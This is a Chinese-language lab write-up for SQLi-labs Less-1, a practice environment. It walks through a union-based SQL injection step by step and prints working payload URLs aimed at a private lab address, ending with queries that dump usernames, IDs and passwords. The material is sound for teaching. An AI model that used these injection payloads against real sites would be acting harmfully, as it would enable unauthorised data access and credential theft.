SQLi-labs Less-1
攻击过程一般分为以下几个步骤:
- 测试SQL注入漏洞:通过插入简单的SQL代码,确认是否存在注入漏洞。
- 确定查询的列数:通过
ORDER BY或UNION来确定数据库查询中返回的列数。 - 获取数据库信息:通过查询数据库名称、版本等基本信息来了解数据库环境。
- 获取表和列信息:通过查询
information_schema等系统表,获取数据库中的表和列信息。 - 提取敏感数据:最终,通过
GROUP_CONCAT等函数获取敏感数据,如用户名、ID、密码等。
详细过程如下:
一、测试是否存在SQL注入漏洞。¶
id=1':这个部分插入了一个闭合单引号('),它试图结束掉原始的SQL语句,并引入新的SQL代码。通常,应用程序在执行查询时会拼接SQL语句,如果没有进行正确的参数化处理,注入攻击会成功。
order by 3:这是尝试通过SQL语句的ORDER BY子句来确定数据库中有多少列。这里3表示按第3列排序。如果数据库表中没有第3列,SQL会报错,攻击者可以通过调整这个数字来确定实际列数。
--+:这是SQL的注释符号。--表示注释的开始,+用于在URL编码中确保其作为注释符号被正确传递。它会将ORDER BY 3后面的内容视为注释,从而防止SQL语句后续的部分执行。
攻击目标: 测试系统是否容易受SQL注入影响,并尝试找出数据库查询中包含的列数。
二、通过UNION查询来获取数据库的更多信息¶
id=-1':与上一步类似,注入了一个闭合单引号(')来结束原本的查询。
union select 1,2,3:UNION用于将两个SELECT查询的结果合并。在这种情况下,攻击者尝试返回3列的查询结果。前两个列(1和2)是占位符,而第三个列(3)可以是其他数据。如果这个查询成功,则说明数据库查询的列数至少是3。
--+:注释符号,防止SQL查询后续部分的执行。
攻击目标: 确认SQL查询中能返回的列数,并为进一步的注入操作做好准备。
三、获取数据库的基本信息¶
查询获取两个数据库信息:
1:一个占位符。
database():一个SQL函数,返回当前使用的数据库名称。
version():一个SQL函数,返回数据库的版本信息。
通过这种方式,攻击者可以获取有关数据库的名称和版本等敏感信息。
四、获取数据库中表的名称¶
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
group_concat(table_name):group_concat是一个SQL聚合函数,允许将多个结果行连接成一个单一的字符串。在这里,攻击者试图从information_schema.tables中获取所有表名,并将它们连接成一个字符串。
where table_schema='security':这是一个条件子句,限定了查询的范围,只获取数据库security中的表信息。information_schema.tables是一个系统表,包含了数据库中所有表的元数据。
攻击目标: 获取目标数据库中所有表的名称。
五、获取某个表(例如users表)中的列名称¶
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
group_concat(column_name):类似于上一步,攻击者尝试通过group_concat获取users表中的所有列名,并将它们连接成一个字符串。
where table_name='users':这个条件子句指定了只查询users表的列信息。
攻击目标: 获取users表中所有列的名称。
六、 获取用户表中的敏感数据(如用户名、ID和密码)¶
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users --+
group_concat(username ,id , password):攻击者试图获取users表中的username(用户名)、id(用户ID)和password(用户密码)字段的值,并将它们连接成一个字符串。
攻击目标: 获取users表中的所有用户信息(用户名、ID和密码)。这些数据对于进一步的攻击(如登陆攻击)非常有价值。
七、改进之前的注入,获取数据格式化后输出¶
http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,'-',id,'-' , password) from users --+
group_concat(username ,'-',id,'-' , password):这里,攻击者使用'-'作为分隔符来格式化输出数据。相比之前的查询,这种格式的输出更容易在后续处理中解析(例如,分割用户名、ID和密码)。
攻击目标: 以更易读或可解析的格式获取users表中的敏感数据(用户名、ID和密码)。